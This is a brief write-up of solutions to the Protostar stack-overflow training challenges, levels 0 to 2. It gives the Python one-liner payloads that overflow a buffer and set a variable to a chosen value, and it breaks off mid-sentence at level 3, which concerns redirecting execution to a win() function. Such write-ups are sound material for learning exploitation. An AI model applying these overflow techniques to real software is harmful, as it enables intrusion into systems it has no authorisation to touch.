Protostar - Stack Exploits
Protostar Solutions : [*] Stack 0 : The goal of this challenge is to modify the value of the variable modified [*] Payload => python -c 'print "A"*200' | ./stack0 [*] Stack 1 : The goal of this challenge is to modify the value of the variable "modified" to 0x61626364 [*] Payload => $(python -c 'print "A"*64+"dcba"') | ./stack1 [*] Stack 2 : The goal of this challenge is to modify the value of the variable "modified" to 0x0d0a0d0a using the environment variables techniques CMD ==> export GREENIE=$(python -c 'print "A"*64+"\x0a\x0d\x0a\x0d"') [*] Payload => ./stack2 [*] Stack 3 : Now that we are comfortable with overwriting local variables on the stack, this example challenges you to redirect the execution flow. The executable includes a function win() which is not normally called at this address: us...